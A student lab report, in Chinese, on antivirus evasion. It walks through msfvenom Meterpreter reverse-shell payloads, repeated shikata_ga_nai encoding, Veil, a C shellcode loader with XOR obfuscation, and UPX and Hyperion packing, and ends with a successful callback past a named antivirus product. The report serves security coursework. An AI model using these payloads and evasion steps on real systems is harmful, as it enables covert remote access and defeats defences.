1.实验内容
1.1本周学习内容
1.1.1后门实践中的基本概念
- netcat(瑞士军刀):用于监听、探测端口、正向连接、反向连接、文件传输。
- socat:netcat的加强版(多了SSL连接等功能)。
- Meterpreter工具:Metadploit框架中的扩展模块,是生成后门的工具。
- Veil Evasion:生成免杀的工具。
1.1.2杀毒软件原理
杀毒软件通过特征码、基于行为、文件校验和、机器学习、云计算等方式进行查杀。
1.1.3免杀的概念与技术
免杀:恶意代码或软件经过各种处理使其不能被杀毒软件所检测。
免杀技术
1.修改特征码
2.修改校验和
3.花指令免杀:添加毫无意义的指令改变特征码。
4.加壳免杀:
(1)对文件里的资源压缩并加密的技术(UPX、PECompact、ASProtect...)。
(2)虚拟机保护技术:基于x86汇编系统的可执行代码转换为字节码指令系统的代码。
5.内存免杀:通过修改内存中的特征码或行为模式来绕过杀毒软件的检测。
1.2实验内容
(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧。
- 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
- veil,加壳工具
- 使用C + shellcode编程
(2)通过组合应用各种技术实现恶意代码免杀。
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本。
1.3实验要求
- 掌握免杀原理与技术
- 回答问题
1.4回答问题
1.杀软是如何检测出恶意代码的?
(1)匹配已知恶意代码的特征码。
(2)程序行为与已知恶意行为模式匹配。
(3)启发式算法分析未知软件的行为和代码结构。
(4)运用云计算技术分析大量数据进行判断。
(5)机器学习技术分析大量的病毒样本和安全事件数据。
(6)深度学习自动提取特征。
2.免杀是做什么?
全称为反杀毒技术(Anti Anti-Virus),简称“免杀”,通过特殊的技术手段使恶意软件能够逃避杀毒软件的检测和查杀。
3.免杀的基本方法有哪些?
加压缩壳/加密壳、修改特征码、基于payload重新编译生成可执行文件、用其他语言重写再编译恶意执行文件、内存免杀、行为欺骗、多重加密、反弹式连接、加入混淆代码等
2.实验过程
2.1使用msfvenom生成jar等文件并检测
2.1.1准备工作
查看 msfvenom 支持的所有输出格式
msfvenom --list formats
本次实验将生成.exe .jar .elf文件来进行检验。
查看 msfvenom 支持的所有编码方式
msfvenom --list encoders
2.1.2生成文件
1.msfvenom生成.exe文件
msfvenom -p windows/meterpreter/reverse_tcp
LHOST=172.16.220.61 LPORT=8888 -f exe > 20222428lsqz.exe
-p windows/meterpreter/reverse_t:指定了payload 类型(反向 TCP 连接)。
LHOST=172.16.220.61设置连接回的本地 IP 地址,即kali虚拟机的 IP 地址;
LPORT=8888设置连接回的本地端口号;
-f exe: 指定输出格式为 Windows 可执行文件;
2.msfvenom生成多次编码后.exe文件
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 -b '\x00' LHOST=172.16.220.61 LPORT=8888 -f exe > 20222428lsqz.exe;
-e x86/shikata_ga_nai: 指定要使用的编码器;
-b ‘\x00’: 指定需要避免的坏字符集;
-i 20表示编码20次;
其他同上;这里不小心输错了文件名使得生成了名(20222428lsqz.exe;)文件。
3.选择适用于Java环境的payload来生成jar文件
msfvenom -p java/meterpreter/reverse_tcp LHOST=172.16.220.61 LPORT=8888 -f jar >
20222428lsqz.jar
使用编译器进行编码(编码20次)
msfvenom -p java/meterpreter/reverse_tcp LHOST=172.16.220.61 LPORT=8888 -e
x86/shikata_ga_nai -i 20 -f jar > 20222428lsqz-2.jar
4.生成反向 TCP 连接的 Linux elf 可执行文件
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=172.16.220.61 LPORT=8888 -f
elf > 20222428lsqz.elf
使用编译器进行编码(编码20次)
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=172.16.220.61 LPORT=8888 -e
x86/shikata_ga_nai -i 20 -f elf > 20222428lsqz-2.elf
因为前面.exe没有标识清楚所以进行改名
2.1.3进行检测
将这几个文件复制到共享文件夹
打开VirusTotal的链接https://www.virustotal.com/进行检测;
2.2使用veil工具
2.2.1下载veil
输入:
mkdir -p ~/.cache/wine
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
sudo apt-get install libncurses5*
sudo apt-get install libavutil55*
sudo apt-get install gcc-mingw-w64*
dpkg --add-architecture i386
sudo apt-get update
sudo apt-get install wine32
apt-get install veil
安装veil
输入:
sudo su
cd /usr/share/veil/config/
vim setup.sh
按i键进入编辑模式,把下载地址换成https://gitee.com/spears/VeilDependencies.git,按ESC键,输入:wq退出。
运行安装veil
在此过程中因为存储空间不足虚拟机崩了导致后续用的都是新建的虚拟机。
veil安装成功。
2.2.1生成执行文件
use evasion
进入Evil—Evasion
list
查看payload类型
使用c/meterpretermrev_tcp.py use 7
查看虚拟机ip地址
输入:
set LHOST 192.168.1.106设置反弹链接ip
set LPORT 1313 设置端口
generate
生成的文件名称:20222428_veil
查看20222428——veil.exe文件是否成功生成
2.2.3进行检测
2.3使用C + shellcode编程
2.3.1生成C语言的源代码格式的有效载荷
msfvenom生成后门
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.106 LPORT=1313 -f c
2.3.2实现C+shellcode生成执行文件并检测
新建.c文件(20222428.c)
将使用msfvenom生成的buf[]数组复制粘贴文件中,并输入以下代码。
int main(){
int(*func)() = (int(*)())buf;
func();
}
(int(* )( ))buf是一个强制类型转换:将buf从原本的类型转换为指向无参数并返回int类型值的函数的指针(这种转换允许程序将buf当作一个函数来调用)。
func():调用buf指向的内存区域中的代码。
编译.c文件
i686-w64-mingw32-g++ 20222428.c -o 20222428.exe
进行检测
2.3.3加壳
使用UPX压缩壳
upx 20222428.exe -o upx20222428.exe
cp upx20222428.exe /usr/share/windows-resources/hyperion
cd /usr/share/windows-resources/hyperion
ls
确保复制成功:
进行检测:
使用加密壳Hyperion
wine hyperion.exe -v upx20222428.exe upx20222428hy.exe
进行检测:
2.4通过组合应用各种技术实现恶意代码免杀
本次实验我选择通过C+shellcode+逆序+压缩壳实现免杀
通过如下指令生成c语言格式的shellcode
msfvenom -p windows/meterpreter/reverse_tcp
LHOST=192.168.1.11 LPORT=2428 -f c
生成的shellcode加上如下代码段一起复制到Windows系统下的VScode中,保存、编译并运行,生成另一段shellcode(此处运用是逆序变换,使生成的文件中shellcode逆序存在,更不容易被杀软发现)
int main()
{
int i;
for (i = 0; i < sizeof(buf); i++)
{
buf[i] ^= 0x01;
printf("\\x%x",buf[i]);
}
}
运行生成的代码段。
在kali中,用touch、vim指令创建并编辑20222428文件
将运行生成的代码粘贴到文件内,并加上如下所示代码段。
unsigned char buf[] =粘贴代码
int main()
{
int i;
for (i = 0; i < sizeof(buf); i++)
{
buf[i] ^= 0x01;
}
int (*func)() = (int(*)())buf;
func();
}
编译生成可执行文件
进行加壳操作
upx shellcode_2428.exe -o ke-shellcode-20222428.exe
用杀毒软件检测是否能免杀
2.5用另一电脑实测,在杀软开启的情况下,可运行并回连成功
使用msfvenom工具来生成一个攻击载荷并用x86/shikata_ga_nai编码20次。
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 -b '\x00' LHOST=192.168.1.125 LPORT=2428 -f c > 20222428_shellcode.c
使用vi工具在生成的文件中加入main函数如下
int main(){ int (*func)() = (int(*)())buf; func(); }
使用MinGW-w64编译该源文件
i686-w64-mingw32-g++ 20222428_shellcode.c -o 20222408_shellcode.exe
使用upx加一层压缩壳
upx 20222428_shellcode.exe -o upx20222428_shellcode.exe
使用hyperion加一层加密壳
wine hyperion.exe -v upx20222428_shellcode.exe hyp_upx20222428_shellcode.exe
在kali虚拟机中打开msf的控制台,输入以下这些信息。
use exploit/multi/handler(设置监听处理器)
set payload windows/meterpreter/reverse_tcp(设置载荷类型)
set LHOST 172.16.223.52(设置为kali的ip地址)
set LPORT 2428(设置端口)
exploit(启动监听服务)
进行回连
回连成功。
杀毒软件名称:金山毒霸
更新时间:2023-04-06
版本号:2023.15.1.3
- 问题1:安装veil时,当输入完sudo apt-get install wine32后报错
- 问题1解决方案:通过上网查阅资料,需先输入dpkg --add-architecture i386,再输入sudo apt-get update,然后输入sudo apt-get install wine32即可。
- 问题2:下载veil时虚拟机崩了
- 问题2解决方案:通过询问同学得知是因为存储空间不够造成的,运用同学给予的扩容方法但未能解决问题,最后新建了虚拟机并提前分配了足够内存。
- 问题3:使用hyperion.exe时,系统报错“ShellExecuteEx failed: File not found.”。
- 问题3解决方案:hyperion.exe需要在/usr/share/windows-resources/hyperion这个工作目录才能使用。
4.学习感悟、思考等
实验三下载veil工具耗费了我大量时间,并且遇到了许多与同学不同的报错和问题。面对这些挑战,我保持心平气和,努力搜索原因,并根据找到的解决方法一次次实践,最终解决了问题。
在实验过程中,我首先利用msfvenom工具生成了多种格式的恶意文件,并通过编码、加壳等手段处理。我将这些文件在VirusTotal中进行检测发现都可以被检测到。
我学习了veil工具的使用,尽管遇到了各种安装报错等困难,但最终成功安装并生成了免杀恶意程序。
在C+shellcode编程部分,我将shellcode嵌入C语言代码中,编译生成可执行文件,体会到了静态免杀方法的重要性。在实验的最后阶段,我通过组合应用各种技术,试图绕过杀毒软件。经过多次尝试,成功生成了能回连的恶意程序,并实现了恶意代码的免杀。但veil真的太难下了,最后虚拟机崩了只能重建一个,在实现回连中也卡了好久,心累。